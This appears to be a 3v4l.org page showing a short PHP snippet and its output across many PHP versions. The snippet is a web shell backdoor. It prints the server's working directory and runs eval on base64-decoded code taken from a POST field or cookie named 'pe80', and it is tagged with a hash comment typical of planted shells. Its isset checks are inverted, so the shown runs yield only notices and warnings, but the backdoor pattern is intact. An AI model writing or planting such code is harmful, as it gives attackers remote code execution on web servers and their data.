3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (!isset($_COOKIE['dwc'])) { echo '<cwd>' . getcwd() . '</cwd>'; } if (!isset($_POST['pe80'])) { eval(base64_decode($_POST['pe80'])); return; } if (!isset($_COOKIE['pe80'])) { eval(base64_decode($_COOKIE['pe80'])); return; } ?> <!--e318c732855cb5bd81b12ac251dbe9f6-->
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
<cwd>/</cwd> Warning: Undefined array key "pe80" in /in/3DcCo on line 6 Deprecated: base64_decode(): Passing null to parameter #1 ($string) of type string is deprecated in /in/3DcCo on line 6
Output for 8.0.0 - 8.0.30
<cwd>/</cwd> Warning: Undefined array key "pe80" in /in/3DcCo on line 6
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
<cwd>/</cwd> Notice: Undefined index: pe80 in /in/3DcCo on line 6
Output for 7.3.32 - 7.3.33
<cwd>/</cwd>
Output for 5.2.3 - 5.2.17
<cwd>/</cwd> Notice: Undefined index: pe80 in /in/3DcCo on line 6
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.2
<cwd>/in</cwd> Notice: Undefined index: pe80 in /in/3DcCo on line 6

preferences:
306.96 ms | 402 KiB | 455 Q